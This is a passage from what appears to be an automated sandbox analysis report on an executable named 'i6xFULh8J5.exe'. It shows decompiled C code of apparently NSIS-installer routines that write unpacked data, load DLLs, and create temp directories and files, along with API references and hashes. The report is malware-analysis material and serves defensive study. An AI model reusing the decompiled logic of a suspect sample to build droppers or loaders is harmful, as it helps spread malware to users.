                                                                                                        						_t34 = _t13;
                                                                                                        					}
                                                                                                        					_t14 = E004031BF(0x413040, _t34); // executed
                                                                                                        					if(_t14 == 0) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					 *0x41f054 =  *0x41f054 + _t34;
                                                                                                        					 *0x40afd0 = 0x413040;
                                                                                                        					 *0x40afd4 = _t34;
                                                                                                        					L6:
                                                                                                        					L6:
                                                                                                        					if( *0x423eb0 != 0 &&  *0x423f40 == 0) {
                                                                                                        						 *0x417040 =  *0x41f050 -  *0x417044 - _a4 +  *0x40afb0;
                                                                                                        						E00402BD3(0);
                                                                                                        					}
                                                                                                        					 *0x40afd8 = 0x40b040;
                                                                                                        					 *0x40afdc = 0x8000; // executed
                                                                                                        					_t16 = E00405F82(0x40afb8); // executed
                                                                                                        					if(_t16 < 0) {
                                                                                                        						goto L21;
                                                                                                        					}
                                                                                                        					_t39 =  *0x40afd8; // 0x40fe32
                                                                                                        					_t40 = _t39 - 0x40b040;
                                                                                                        					if(_t40 == 0) {
                                                                                                        						__eflags =  *0x40afd4; // 0x0
                                                                                                        						if(__eflags != 0) {
                                                                                                        							goto L21;
                                                                                                        						}
                                                                                                        						__eflags = _t34;
                                                                                                        						if(_t34 == 0) {
                                                                                                        							goto L21;
                                                                                                        						}
                                                                                                        						L17:
                                                                                                        						_t18 =  *0x417044; // 0x5ef43
                                                                                                        						if(_t18 -  *0x40afb0 + _a4 > 0) {
                                                                                                        							continue;
                                                                                                        						}
                                                                                                        						SetFilePointer( *0x409018, _t18, 0, 0); // executed
                                                                                                        						goto L23;
                                                                                                        					}
                                                                                                        					_t21 = WriteFile( *0x409018, 0x40b040, _t40,  &_v4, 0); // executed
                                                                                                        					if(_t21 == 0 || _t40 != _v4) {
                                                                                                        						_push(0xfffffffe);
                                                                                                        						L22:
                                                                                                        						_pop(_t17);
                                                                                                        						return _t17;
                                                                                                        					} else {
                                                                                                        						 *0x40afb0 =  *0x40afb0 + _t40;
                                                                                                        						_t53 =  *0x40afd4; // 0x0
                                                                                                        						if(_t53 != 0) {
                                                                                                        							goto L6;
                                                                                                        						}
                                                                                                        						goto L17;
                                                                                                        					}
                                                                                                        					L21:
                                                                                                        					_push(0xfffffffd);
                                                                                                        					goto L22;
                                                                                                        				}
                                                                                                        				return _t14 | 0xffffffff;
                                                                                                        			}


















                                                                                                        0x00403047
                                                                                                        0x00403054
                                                                                                        0x00403067
                                                                                                        0x0040306c
                                                                                                        0x004031ad
                                                                                                        0x004031af
                                                                                                        0x00000000
                                                                                                        0x004031b5
                                                                                                        0x00403078
                                                                                                        0x0040308b
                                                                                                        0x00403091
                                                                                                        0x00403097
                                                                                                        0x004030a2
                                                                                                        0x004030a2
                                                                                                        0x004030a7
                                                                                                        0x004030ac
                                                                                                        0x004030b4
                                                                                                        0x004030b6
                                                                                                        0x004030b6
                                                                                                        0x004030bf
                                                                                                        0x004030c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004030cc
                                                                                                        0x004030d2
                                                                                                        0x004030d8
                                                                                                        0x00000000
                                                                                                        0x004030de
                                                                                                        0x004030e4
                                                                                                        0x00403104
                                                                                                        0x00403109
                                                                                                        0x0040310e
                                                                                                        0x00403114
                                                                                                        0x0040311a
                                                                                                        0x00403124
                                                                                                        0x0040312b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040312d
                                                                                                        0x00403133
                                                                                                        0x00403135
                                                                                                        0x00403169
                                                                                                        0x0040316f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403171
                                                                                                        0x00403173
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403175
                                                                                                        0x00403175
                                                                                                        0x00403188
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403197
                                                                                                        0x00000000
                                                                                                        0x00403197
                                                                                                        0x00403145
                                                                                                        0x0040314d
                                                                                                        0x004031a4
                                                                                                        0x004031aa
                                                                                                        0x004031aa
                                                                                                        0x00000000
                                                                                                        0x00403155
                                                                                                        0x00403155
                                                                                                        0x0040315b
                                                                                                        0x00403161
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403167
                                                                                                        0x004031a8
                                                                                                        0x004031a8
                                                                                                        0x00000000
                                                                                                        0x004031a8
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • GetTickCount.KERNEL32 ref: 00403058
                                                                                                          • Part of subcall function 004031F1: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E9D,?), ref: 004031FF
                                                                                                        • SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000), ref: 0040308B
                                                                                                        • WriteFile.KERNELBASE(0040B040,0040FE32,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403145
                                                                                                        • SetFilePointer.KERNELBASE(0005EF43,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403197
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: File$Pointer$CountTickWrite
                                                                                                        • String ID: @0A
                                                                                                        • API String ID: 2146148272-1363546919
                                                                                                        • Opcode ID: 5717bb92db8eceb84bcfa3312431b9880db34fb8e18b0e02550951cbdd57df69
                                                                                                        • Instruction ID: c862c83604f3b109b9ae356e59bf9e99270c6d64ee518f880403d0392c1b0dc8
                                                                                                        • Opcode Fuzzy Hash: 5717bb92db8eceb84bcfa3312431b9880db34fb8e18b0e02550951cbdd57df69
                                                                                                        • Instruction Fuzzy Hash: 4B41ABB25042029FD710CF29EE4096A7FBDF748356705423BE501BA2E1CB3C6E099B9E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 60%
                                                                                                        			E00401F51(void* __ebx, void* __eflags) {
                                                                                                        				struct HINSTANCE__* _t18;
                                                                                                        				struct HINSTANCE__* _t26;
                                                                                                        				void* _t27;
                                                                                                        				struct HINSTANCE__* _t30;
                                                                                                        				CHAR* _t32;
                                                                                                        				intOrPtr* _t33;
                                                                                                        				void* _t34;
                                                                                                        
                                                                                                        				_t27 = __ebx;
                                                                                                        				asm("sbb eax, 0x423f58");
                                                                                                        				 *(_t34 - 4) = 1;
                                                                                                        				if(__eflags < 0) {
                                                                                                        					_push(0xffffffe7);
                                                                                                        					L15:
                                                                                                        					E00401423();
                                                                                                        					L16:
                                                                                                        					 *0x423f28 =  *0x423f28 +  *(_t34 - 4);
                                                                                                        					return 0;
                                                                                                        				}
                                                                                                        				_t32 = E004029F6(0xfffffff0);
                                                                                                        				 *(_t34 + 8) = E004029F6(1);
                                                                                                        				if( *((intOrPtr*)(_t34 - 0x14)) == __ebx) {
                                                                                                        					L3:
                                                                                                        					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
                                                                                                        					_t30 = _t18;
                                                                                                        					if(_t30 == _t27) {
                                                                                                        						_push(0xfffffff6);
                                                                                                        						goto L15;
                                                                                                        					}
                                                                                                        					L4:
                                                                                                        					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
                                                                                                        					if(_t33 == _t27) {
                                                                                                        						E00404F04(0xfffffff7,  *(_t34 + 8));
                                                                                                        					} else {
                                                                                                        						 *(_t34 - 4) = _t27;
                                                                                                        						if( *((intOrPtr*)(_t34 - 0x1c)) == _t27) {
                                                                                                        							 *_t33( *((intOrPtr*)(_t34 - 0x34)), 0x400, 0x424000, 0x40af70, " ?B"); // executed
                                                                                                        						} else {
                                                                                                        							E00401423( *((intOrPtr*)(_t34 - 0x1c)));
                                                                                                        							if( *_t33() != 0) {
                                                                                                        								 *(_t34 - 4) = 1;
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					if( *((intOrPtr*)(_t34 - 0x18)) == _t27 && E0040364F(_t30) != 0) {
                                                                                                        						FreeLibrary(_t30); // executed
                                                                                                        					}
                                                                                                        					goto L16;
                                                                                                        				}
                                                                                                        				_t26 = GetModuleHandleA(_t32); // executed
                                                                                                        				_t30 = _t26;
                                                                                                        				if(_t30 != __ebx) {
                                                                                                        					goto L4;
                                                                                                        				}
                                                                                                        				goto L3;
                                                                                                        			}










                                                                                                        0x00401f51
                                                                                                        0x00401f51
                                                                                                        0x00401f56
                                                                                                        0x00401f5d
                                                                                                        0x00402019
                                                                                                        0x00402164
                                                                                                        0x00402164
                                                                                                        0x0040288b
                                                                                                        0x0040288e
                                                                                                        0x0040289a
                                                                                                        0x0040289a
                                                                                                        0x00401f6c
                                                                                                        0x00401f76
                                                                                                        0x00401f79
                                                                                                        0x00401f88
                                                                                                        0x00401f8c
                                                                                                        0x00401f92
                                                                                                        0x00401f96
                                                                                                        0x00402012
                                                                                                        0x00000000
                                                                                                        0x00402012
                                                                                                        0x00401f98
                                                                                                        0x00401fa2
                                                                                                        0x00401fa6
                                                                                                        0x00401fea
                                                                                                        0x00401fa8
                                                                                                        0x00401fab
                                                                                                        0x00401fae
                                                                                                        0x00401fde
                                                                                                        0x00401fb0
                                                                                                        0x00401fb3
                                                                                                        0x00401fbc
                                                                                                        0x00401fbe
                                                                                                        0x00401fbe
                                                                                                        0x00401fbc
                                                                                                        0x00401fae
                                                                                                        0x00401ff2
                                                                                                        0x00402007
                                                                                                        0x00402007
                                                                                                        0x00000000
                                                                                                        0x00401ff2
                                                                                                        0x00401f7c
                                                                                                        0x00401f82
                                                                                                        0x00401f86
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F7C
                                                                                                          • Part of subcall function 00404F04: lstrlenA.KERNEL32(0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
                                                                                                          • Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
                                                                                                          • Part of subcall function 00404F04: lstrcatA.KERNEL32(0041FC78,00402C4A,00402C4A,0041FC78,00000000,00000000,00000000), ref: 00404F60
                                                                                                          • Part of subcall function 00404F04: SetWindowTextA.USER32(0041FC78,0041FC78), ref: 00404F72
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0
                                                                                                        • LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
                                                                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
                                                                                                        • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                                                                        • String ID: ?B
                                                                                                        • API String ID: 2987980305-117478770
                                                                                                        • Opcode ID: 8a5e19ada2a0501c23d939e05fc9a3d0d7d0ee5640c0e41b76e5c8575941fe9f
                                                                                                        • Instruction ID: 83c29b7dad20212888764ed045f323035a642c1bbb84e8da84d377f5f563bf0e
                                                                                                        • Opcode Fuzzy Hash: 8a5e19ada2a0501c23d939e05fc9a3d0d7d0ee5640c0e41b76e5c8575941fe9f
                                                                                                        • Instruction Fuzzy Hash: D621EE72D04216EBCF207FA4DE49A6E75B06B44399F204237F511B52E0D77C4D41965E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 85%
                                                                                                        			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
                                                                                                        				struct _SECURITY_ATTRIBUTES** _t10;
                                                                                                        				int _t19;
                                                                                                        				struct _SECURITY_ATTRIBUTES* _t20;
                                                                                                        				signed char _t22;
                                                                                                        				struct _SECURITY_ATTRIBUTES* _t23;
                                                                                                        				CHAR* _t25;
                                                                                                        				struct _SECURITY_ATTRIBUTES** _t29;
                                                                                                        				void* _t30;
                                                                                                        
                                                                                                        				_t23 = __ebx;
                                                                                                        				_t25 = E004029F6(0xfffffff0);
                                                                                                        				_t10 = E004056ED(_t25);
                                                                                                        				_t27 = _t10;
                                                                                                        				if(_t10 != __ebx) {
                                                                                                        					do {
                                                                                                        						_t29 = E00405684(_t27, 0x5c);
                                                                                                        						 *_t29 = _t23;
                                                                                                        						 *((char*)(_t30 + 0xb)) =  *_t29;
                                                                                                        						_t19 = CreateDirectoryA(_t25, _t23); // executed
                                                                                                        						if(_t19 == 0) {
                                                                                                        							if(GetLastError() != 0xb7) {
                                                                                                        								L4:
                                                                                                        								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
                                                                                                        							} else {
                                                                                                        								_t22 = GetFileAttributesA(_t25); // executed
                                                                                                        								if((_t22 & 0x00000010) == 0) {
                                                                                                        									goto L4;
                                                                                                        								}
                                                                                                        							}
                                                                                                        						}
                                                                                                        						_t20 =  *((intOrPtr*)(_t30 + 0xb));
                                                                                                        						 *_t29 = _t20;
                                                                                                        						_t27 =  &(_t29[0]);
                                                                                                        					} while (_t20 != _t23);
                                                                                                        				}
                                                                                                        				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
                                                                                                        					_push(0xfffffff5);
                                                                                                        					E00401423();
                                                                                                        				} else {
                                                                                                        					E00401423(0xffffffe6);
                                                                                                        					E00405B66("C:\\Users\\jones\\AppData\\Local\\Temp", _t25);
                                                                                                        					SetCurrentDirectoryA(_t25); // executed
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t30 - 4));
                                                                                                        				return 0;
                                                                                                        			}











                                                                                                        0x004015b3
                                                                                                        0x004015ba
                                                                                                        0x004015bd
                                                                                                        0x004015c2
                                                                                                        0x004015c6
                                                                                                        0x004015c8
                                                                                                        0x004015d0
                                                                                                        0x004015d6
                                                                                                        0x004015d8
                                                                                                        0x004015db
                                                                                                        0x004015e3
                                                                                                        0x004015f0
                                                                                                        0x004015fd
                                                                                                        0x004015fd
                                                                                                        0x004015f2
                                                                                                        0x004015f3
                                                                                                        0x004015fb
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004015fb
                                                                                                        0x004015f0
                                                                                                        0x00401600
                                                                                                        0x00401603
                                                                                                        0x00401605
                                                                                                        0x00401606
                                                                                                        0x004015c8
                                                                                                        0x0040160d
                                                                                                        0x0040162d
                                                                                                        0x00402164
                                                                                                        0x0040160f
                                                                                                        0x00401611
                                                                                                        0x0040161c
                                                                                                        0x00401622
                                                                                                        0x00401622
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                          • Part of subcall function 004056ED: CharNextA.USER32(0040549F,?,004218A8,00000000,00405751,004218A8,004218A8,?,?,73BCF560,0040549F,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 004056FB
                                                                                                          • Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 00405700
                                                                                                          • Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 0040570F
                                                                                                        • CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
                                                                                                        • GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
                                                                                                        • GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
                                                                                                        • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622
                                                                                                        Strings
                                                                                                        • C:\Users\user\AppData\Local\Temp, xrefs: 00401617
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp
                                                                                                        • API String ID: 3751793516-47812868
                                                                                                        • Opcode ID: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
                                                                                                        • Instruction ID: c38907cd9fbddcdb820990ab727de55d75fa8bca08f123d111df4852c942a759
                                                                                                        • Opcode Fuzzy Hash: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
                                                                                                        • Instruction Fuzzy Hash: 7E010431D08141AFDB216F751D4497F27B0AA56369728073FF891B22E2C63C0942962E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E0040586C(char _a4, intOrPtr _a6, CHAR* _a8) {
                                                                                                        				signed int _t11;
                                                                                                        				int _t14;
                                                                                                        				signed int _t16;
                                                                                                        				void* _t19;
                                                                                                        				CHAR* _t20;
                                                                                                        
                                                                                                        				_t20 = _a4;
                                                                                                        				_t19 = 0x64;
                                                                                                        				while(1) {
                                                                                                        					_t19 = _t19 - 1;
                                                                                                        					_a4 = 0x61736e;
                                                                                                        					_t11 = GetTickCount();
                                                                                                        					_t16 = 0x1a;
                                                                                                        					_a6 = _a6 + _t11 % _t16;
                                                                                                        					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
                                                                                                        					if(_t14 != 0) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					if(_t19 != 0) {
                                                                                                        						continue;
                                                                                                        					}
                                                                                                        					 *_t20 =  *_t20 & 0x00000000;
                                                                                                        					return _t14;
                                                                                                        				}
                                                                                                        				return _t20;
                                                                                                        			}








                                                                                                        0x00405870
                                                                                                        0x00405876
                                                                                                        0x00405877
                                                                                                        0x00405877
                                                                                                        0x00405878
                                                                                                        0x0040587f
                                                                                                        0x00405889
                                                                                                        0x00405896
                                                                                                        0x00405899
                                                                                                        0x004058a1
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004058a5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004058a7
                                                                                                        0x00000000
                                                                                                        0x004058a7
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • GetTickCount.KERNEL32 ref: 0040587F
                                                                                                        • GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 00405899
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CountFileNameTempTick
                                                                                                        • String ID: "C:\Users\user\Desktop\i6xFULh8J5.exe" $C:\Users\user\AppData\Local\Temp\$nsa
                                                                                                        • API String ID: 1716503409-3109667794
                                                                                                        • Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
                                                                                                        • Instruction ID: 7bdb262dbebad2fb51735791196b4a750b565e3ebaa120aaaad2cbe3184e43fd
                                                                                                        • Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
                                                                                                        • Instruction Fuzzy Hash: B1F0A73734820876E7105E55DC04B9B7F9DDF91760F14C027FE44DA1C0D6B49954C7A5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 94%
                                                                                                        			E6FC716DB(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                                                                                        				void _v36;
                                                                                                        				char _v88;
                                                                                                        				struct HINSTANCE__* _t37;
                                                                                                        				intOrPtr _t42;
                                                                                                        				void* _t48;
                                                                                                        				void* _t49;
                                                                                                        				void* _t50;
                                                                                                        				void* _t54;
                                                                                                        				intOrPtr _t57;
                                                                                                        				signed int _t61;
                                                                                                        				signed int _t63;
                                                                                                        				void* _t67;
                                                                                                        				void* _t68;
                                                                                                        				void* _t72;
                                                                                                        				void* _t76;
                                                                                                        
                                                                                                        				_t76 = __esi;
                                                                                                        				_t68 = __edi;
                                                                                                        				_t67 = __edx;
                                                                                                        				 *0x6fc7405c = _a8;
                                                                                                        				 *0x6fc74060 = _a16;
                                                                                                        				 *0x6fc74064 = _a12;
                                                                                                        				 *((intOrPtr*)(_a20 + 0xc))( *0x6fc74038, E6FC71556);
                                                                                                        				_push(1); // executed
                                                                                                        				_t37 = E6FC71A98(); // executed
                                                                                                        				_t54 = _t37;
                                                                                                        				if(_t54 == 0) {
                                                                                                        					L28:
                                                                                                        					return _t37;
                                                                                                        				} else {
                                                                                                        					if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                                                                        						E6FC722AF(_t54);
                                                                                                        					}
                                                                                                        					E6FC722F1(_t67, _t54);
                                                                                                        					_t57 =  *((intOrPtr*)(_t54 + 4));
                                                                                                        					if(_t57 == 0xffffffff) {
                                                                                                        						L14:
                                                                                                        						if(( *(_t54 + 0x810) & 0x00000004) == 0) {
                                                                                                        							if( *((intOrPtr*)(_t54 + 4)) == 0) {
                                                                                                        								_t37 = E6FC724D8(_t54);
                                                                                                        							} else {
                                                                                                        								_push(_t76);
                                                                                                        								_push(_t68);
                                                                                                        								_t61 = 8;
                                                                                                        								_t13 = _t54 + 0x818; // 0x818
                                                                                                        								memcpy( &_v36, _t13, _t61 << 2);
                                                                                                        								_t42 = E6FC7156B(_t54,  &_v88);
                                                                                                        								 *(_t54 + 0x834) =  *(_t54 + 0x834) & 0x00000000;
                                                                                                        								_t18 = _t54 + 0x818; // 0x818
                                                                                                        								_t72 = _t18;
                                                                                                        								 *((intOrPtr*)(_t54 + 0x820)) = _t42;
                                                                                                        								 *_t72 = 3;
                                                                                                        								E6FC724D8(_t54);
                                                                                                        								_t63 = 8;
                                                                                                        								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
                                                                                                        							}
                                                                                                        						} else {
                                                                                                        							E6FC724D8(_t54);
                                                                                                        							_t37 = GlobalFree(E6FC71266(E6FC71559(_t54)));
                                                                                                        						}
                                                                                                        						if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                                                                        							_t37 = E6FC7249E(_t54);
                                                                                                        							if(( *(_t54 + 0x810) & 0x00000040) != 0 &&  *_t54 == 1) {
                                                                                                        								_t37 =  *(_t54 + 0x808);
                                                                                                        								if(_t37 != 0) {
                                                                                                        									_t37 = FreeLibrary(_t37);
                                                                                                        								}
                                                                                                        							}
                                                                                                        							if(( *(_t54 + 0x810) & 0x00000020) != 0) {
                                                                                                        								_t37 = E6FC714E2( *0x6fc74058);
                                                                                                        							}
                                                                                                        						}
                                                                                                        						if(( *(_t54 + 0x810) & 0x00000002) != 0) {
                                                                                                        							goto L28;
                                                                                                        						} else {
                                                                                                        							return GlobalFree(_t54);
                                                                                                        						}
                                                                                                        					}
                                                                                                        					_t48 =  *_t54;
                                                                                                        					if(_t48 == 0) {
                                                                                                        						if(_t57 != 1) {
                                                                                                        							goto L14;
                                                                                                        						}
                                                                                                        						E6FC72CC3(_t54);
                                                                                                        						L12:
                                                                                                        						_t54 = _t48;
                                                                                                        						L13:
                                                                                                        						goto L14;
                                                                                                        					}
                                                                                                        					_t49 = _t48 - 1;
                                                                                                        					if(_t49 == 0) {
                                                                                                        						L8:
                                                                                                        						_t48 = E6FC72A38(_t57, _t54); // executed
                                                                                                        						goto L12;
                                                                                                        					}
                                                                                                        					_t50 = _t49 - 1;
                                                                                                        					if(_t50 == 0) {
                                                                                                        						E6FC726B2(_t54);
                                                                                                        						goto L13;
                                                                                                        					}
                                                                                                        					if(_t50 != 1) {
                                                                                                        						goto L14;
                                                                                                        					}
                                                                                                        					goto L8;
                                                                                                        				}
                                                                                                        			}


















                                                                                                        0x6fc716db
                                                                                                        0x6fc716db
                                                                                                        0x6fc716db
                                                                                                        0x6fc716e5
                                                                                                        0x6fc716ed
                                                                                                        0x6fc716fa
                                                                                                        0x6fc71708
                                                                                                        0x6fc7170b
                                                                                                        0x6fc7170d
                                                                                                        0x6fc71712
                                                                                                        0x6fc71717
                                                                                                        0x6fc71836
                                                                                                        0x6fc71836
                                                                                                        0x6fc7171d
                                                                                                        0x6fc71721
                                                                                                        0x6fc71724
                                                                                                        0x6fc71729
                                                                                                        0x6fc7172b
                                                                                                        0x6fc71731
                                                                                                        0x6fc71737
                                                                                                        0x6fc71767
                                                                                                        0x6fc7176e
                                                                                                        0x6fc71792
                                                                                                        0x6fc717dd
                                                                                                        0x6fc71794
                                                                                                        0x6fc71794
                                                                                                        0x6fc71795
                                                                                                        0x6fc7179b
                                                                                                        0x6fc7179c
                                                                                                        0x6fc717a6
                                                                                                        0x6fc717a9
                                                                                                        0x6fc717ae
                                                                                                        0x6fc717b5
                                                                                                        0x6fc717b5
                                                                                                        0x6fc717bc
                                                                                                        0x6fc717c2
                                                                                                        0x6fc717c8
                                                                                                        0x6fc717d5
                                                                                                        0x6fc717d6
                                                                                                        0x6fc717d9
                                                                                                        0x6fc71770
                                                                                                        0x6fc71771
                                                                                                        0x6fc71786
                                                                                                        0x6fc71786
                                                                                                        0x6fc717e7
                                                                                                        0x6fc717ea
                                                                                                        0x6fc717f7
                                                                                                        0x6fc717fe
                                                                                                        0x6fc71806
                                                                                                        0x6fc71809
                                                                                                        0x6fc71809
                                                                                                        0x6fc71806
                                                                                                        0x6fc71816
                                                                                                        0x6fc7181e
                                                                                                        0x6fc71823
                                                                                                        0x6fc71816
                                                                                                        0x6fc7182b
                                                                                                        0x00000000
                                                                                                        0x6fc7182d
                                                                                                        0x00000000
                                                                                                        0x6fc7182e
                                                                                                        0x6fc7182b
                                                                                                        0x6fc7173b
                                                                                                        0x6fc7173e
                                                                                                        0x6fc7175c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7175f
                                                                                                        0x6fc71764
                                                                                                        0x6fc71764
                                                                                                        0x6fc71766
                                                                                                        0x00000000
                                                                                                        0x6fc71766
                                                                                                        0x6fc71740
                                                                                                        0x6fc71741
                                                                                                        0x6fc71749
                                                                                                        0x6fc7174a
                                                                                                        0x00000000
                                                                                                        0x6fc7174a
                                                                                                        0x6fc71743
                                                                                                        0x6fc71744
                                                                                                        0x6fc71752
                                                                                                        0x00000000
                                                                                                        0x6fc71752
                                                                                                        0x6fc71747
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71747

                                                                                                        APIs
                                                                                                          • Part of subcall function 6FC71A98: GlobalFree.KERNEL32 ref: 6FC71D09
